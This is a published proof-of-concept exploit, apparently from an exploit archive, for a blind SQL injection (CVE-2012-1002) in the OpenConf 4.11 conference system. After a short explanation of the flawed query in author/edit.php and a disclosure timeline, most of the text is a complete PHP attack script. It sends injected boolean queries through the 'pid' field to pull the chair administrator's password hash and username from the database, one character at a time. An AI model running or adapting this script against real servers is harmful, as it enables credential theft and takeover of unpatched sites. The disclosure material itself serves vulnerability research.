OpenConf 4.11 - '/author/edit.php' Blind SQL Injection

<?php

/*
  ---------------------------------------------------------------------
  OpenConf <= 4.11 (author/edit.php) Remote Blind SQL Injection Exploit
  ---------------------------------------------------------------------
  
  author...............: Egidio Romano aka EgiX
  mail.................: n0b0d13s[at]gmail[dot]com
  software link........: http://www.openconf.com/
  affected versions....: from 4.00 to 4.11
  
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.    |
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] Vulnerable code in /author/edit.php:
  
  104.		// get sub
  105.		$anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) ...
  106.		if (mysql_num_rows($anr) != 1) {
  107.			err(oc_('Submission ID or password entered is incorrect'));
  108.		}
  109.		$_POST = array_merge($_POST, mysql_fetch_assoc($anr));
  
  User input passed through $_POST['pid'] seems correctly sanitised by the safeSQLstr() function, but in the query
  at line 105,  single quotes aren't  used before  concatenate the user input  into the query string.  This can be
  exploited to conduct a  Blind SQL Injection  attack.  Successful exploitation of  this vulnerability requires at
  least a record into the 'paper' table, and 'Edit Submission' to be enabled.

  [-] Disclosure timeline:
  
  [27/01/2012] - Vulnerability discovered
  [01/02/2012] - Issue reported to bugs(at)openconf.com
  [02/02/2012] - Version 4.12 released: http://www.openconf.com/news/#20120202
  [02/02/2012] - CVE number requested
  [02/02/2012] - Assigned CVE-2012-1002
  [02/05/2012] - Public disclosure
  
*/

if (!extension_loaded('curl')) die("cURL extension required\n");

error_reporting(E_ERROR);
set_time_limit(0);

function http_get($page)
{
  global $ch, $argv;
	
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_GET, true);

  return curl_exec($ch);
}

function http_post($page, $data)
{	
  global $ch, $argv;
	
  curl_setopt($ch, CURLOPT_URL, $argv[1].$page);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

  return curl_exec($ch);
}

function hex_enc($sql)
{
  for ($i = 0, $n = strlen($sql); $i < $n; $i++)
    $encoded .= dechex(ord($sql[$i]));
  return "0x{$encoded}";
}

print "\n+-------------------------------------------------------------+";
print "\n| OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------+\n";

if ($argc < 2)
{
  print "\nUsage......: php $argv[0] <url>\n";
  print "\nExample....: php $argv[0] http://127.0.0.1/";
  print "\nExample....: php $argv[0] http://localhost/openconf/\n";
  die();
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

if (!preg_match('/href="author\/edit.php"/', http_get('openconf.php'))) die("\n[-] Failed: submission edit disabled\n");

$index = 1;
$hash  = '';
$chars = array_merge(range(48, 57), range(97, 102), array(0)); // 0-9 a-f

print "\n[-] Chair password hash...: ";

while (!strpos($hash,chr(0)))
{
  for ($i = 0, $n = count($chars); $i <= $n; $i++)
  {
    if ($i == $n) die("\n[-] Exploit failed!\n");
    $sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_pwd").") LIMIT 1#");
    if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $hash .= chr($chars[$i]); print chr($chars[$i]); break; } 
  }
  $index++;
}

$index = 1;
$user  = '';
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57)); // Any "word" character

print "\n[-] Chair username........: ";

while (!strpos($user,chr(0)))
{
  for ($i = 0, $n = count($chars); $i <= $n; $i++)
  {
    if ($i == $n) die("\n[-] Exploit failed!\n");
    $sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=".hex_enc("OC_chair_uname").") LIMIT 1#");
    if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) { $user .= chr($chars[$i]); print chr($chars[$i]); break; } 
  }
  $index++;
}
print "\n";
?>